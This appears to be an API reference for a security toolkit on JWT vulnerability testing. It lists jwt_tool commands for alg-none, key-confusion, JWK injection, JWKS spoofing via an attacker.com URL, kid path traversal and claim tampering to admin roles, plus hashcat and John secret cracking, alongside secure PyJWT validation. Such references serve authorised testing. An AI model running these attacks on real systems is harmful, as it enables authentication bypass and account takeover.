<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# JWT Vulnerability Analysis — API Reference

## jwt_tool Commands

### Basic Analysis

```bash
# Decode token
jwt_tool <token>

# Verbose decode with timestamps
jwt_tool <token> -V

# All automated tests
jwt_tool -t https://target.com/api -rh "Authorization: Bearer <token>" -M at

# Playbook mode
jwt_tool -t https://target.com/api -rh "Authorization: Bearer <token>" -M pb
```

### Exploit Modules

```bash
# Algorithm none (-X a)
jwt_tool <token> -X a

# Null signature (-X n)
jwt_tool <token> -X n

# Key confusion RS256→HS256 (-X k)
jwt_tool <token> -X k -pk /path/to/public.pem

# JWK injection (-X i)
jwt_tool <token> -X i

# JWKS spoofing (-X s)
jwt_tool <token> -X s -ju https://attacker.com/.well-known/jwks.json

# kid injection (-X i with kid)
jwt_tool <token> -X i -hc kid -hv "../../dev/null"
```

### Claim Tampering

```bash
# Modify payload claim
jwt_tool <token> -T -pc <claim> -pv <value>

# Modify header claim
jwt_tool <token> -T -hc <header_field> -hv <value>

# Examples
jwt_tool <token> -T -pc sub -pv admin@target.com
jwt_tool <token> -T -pc role -pv administrator
jwt_tool <token> -T -pc admin -pv true
```

### Secret Cracking

```bash
# Dictionary attack
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt

# Hashcat (mode 16500)
hashcat -m 16500 jwt_hash.txt wordlist.txt

# John the Ripper
john jwt_hash.txt --wordlist=wordlist.txt --format=HMAC-SHA256
```

## PyJWT API

### Secure Validation

```python
import jwt

# Decode with full validation
payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
    audience="https://api.example.com",
    issuer="https://auth.example.com",
    options={"require": ["exp", "iat", "sub", "aud", "iss"]},
)

# Encode token
token = jwt.encode(
    {"sub": "user123", "exp": datetime.utcnow() + timedelta(minutes=15)},
    private_key,
    algorithm="RS256",
    headers={"kid": "key-id-1"},
)
```

## Burp Suite Extensions

| Extension | Purpose |
|-----------|---------|
| JWT Editor | Decode, edit, sign/resign JWT tokens |
| JSON Web Tokens | Automatic JWT detection and analysis |
| JOSEPH | JWT attacks automation |

## Key Methods Reference

| Method | Tool | Purpose |
|--------|------|---------|
| `-X a` | jwt_tool | Algorithm none bypass |
| `-X k` | jwt_tool | Key confusion attack |
| `-X i` | jwt_tool | JWK injection |
| `-C -d` | jwt_tool | Dictionary crack |
| `-m 16500` | hashcat | JWT HMAC cracking |
| `jwt.decode()` | PyJWT | Secure token validation |
| `jwt.encode()` | PyJWT | Token generation |
